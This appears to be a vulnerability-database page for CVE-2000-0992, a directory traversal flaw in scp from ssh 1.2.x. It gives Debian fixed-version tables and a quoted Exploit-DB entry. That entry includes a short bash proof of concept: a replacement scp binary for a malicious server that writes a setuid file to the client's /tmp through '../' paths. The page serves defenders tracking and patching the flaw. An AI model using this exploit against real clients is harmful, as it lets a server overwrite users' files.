CVE-2000-0992
Description
Directory traversal vulnerability in scp in sshd 1.2.xx allows a remote malicious scp server to overwrite arbitrary files via a .. (dot dot) attack.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
Mitigation details
CVE-2000-0992 NameCVE-2000-0992 DescriptionDirectory traversal vulnerability in scp in sshd 1.2.xx allows a remote malicious scp server to overwrite arbitrary files via a .. (dot dot) attack. SourceCVE (at NVD; CERT, ENISA, LWN, oss-sec, fulldisc, Debian ELTS, Red Hat, Ubuntu, Gentoo, SUSE bugzilla/CVE, GitHub advisories/code/issues, web search, more) ReferencesCVE-2004-0175 Debian Bugs270770…
CVE-2000-0992
| Name | CVE-2000-0992 |
| Description | Directory traversal vulnerability in scp in sshd 1.2.xx allows a remote malicious scp server to overwrite arbitrary files via a .. (dot dot) attack. |
| Source | CVE (at NVD; CERT, ENISA, LWN, oss-sec, fulldisc, Debian ELTS, Red Hat, Ubuntu, Gentoo, SUSE bugzilla/CVE, GitHub advisories/code/issues, web search, more) |
| References | CVE-2004-0175 |
| Debian Bugs | 270770 |
Vulnerable and fixed packages
The table below lists information on source packages.
| Source Package | Release | Version | Status |
|---|---|---|---|
| openssh (PTS) | bullseye | 1:8.4p1-5+deb11u3 | fixed |
| bullseye (security) | 1:8.4p1-5+deb11u7 | fixed | |
| bookworm | 1:9.2p1-2+deb12u10 | fixed | |
| bookworm (security) | 1:9.2p1-2+deb12u9 | fixed | |
| trixie | 1:10.0p1-7+deb13u4 | fixed | |
| trixie (security) | 1:10.0p1-7+deb13u2 | fixed | |
| forky | 1:10.3p1-2 | fixed | |
| sid | 1:10.3p1-3 | fixed |
The information below is based on the following data on fixed versions.
| Package | Type | Release | Fixed Version | Urgency | Origin | Debian Bugs |
|---|---|---|---|---|---|---|
| openssh | source | (unstable) | 1:3.9p1-1 | low | 270770 |
Notes
[sarge] - openssh <no-dsa> (Minor issue)
Rediscoved as CVE-2004-0175, see there.
Apply commands
[sarge] - openssh <no-dsa> (Minor issue)Rediscoved as CVE-2004-0175, see there.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
OpenSSH 1.2 - '.scp' File Create/Overwrite
source: https://www.securityfocus.com/bid/1742/info
A vulnerability exists in the 1.2.x releases of scp which, if properly exploited using a modified scp binary on the server end, can permit the remote server to spoof local pathnames and overwrite files belonging to the local user.
For example, following the command
scp user@remotehost:/somefile /home/user/newfile
the modified server on the remote machine maliciously sends the filename as ../../etc/passwd
the local user's scp program will then write the data to
/home/user/../../etc/passwd
(which is the same as /etc/passwd)
Note that the target file can only be overwritten if the local user has write access to it. As a result, it remains inadvisable to run scp as root.
This vulnerability applies to 1.2.x versions of ssh on the remote machine, irrespective of the version running as the client.
ssh-2.x on the remote employs a different protocol and as a result is reportedly not vulnerable to this bug.
As a proof of concept, I created trivial scp replacement (put it on remote machine in the place of original scp binary - usually in /usr/local/bin).
It will try to exploit any file transfer, creating setuid /tmp/ScpIsBuggy file on client system:
#!/bin/bash
echo "D0755 0 ../../../../../../tmp/nope"
echo "D0755 0 ../../../../../../tmp"
echo "C4755 200 ScpIsBuggy"
dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null
dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1:3.9p1-1 |
| sid | Fixed | 1:3.9p1-1 |
| forky | Fixed | 1:3.9p1-1 |
| bullseye | Fixed | 1:3.9p1-1 |
| bookworm | Fixed | 1:3.9p1-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.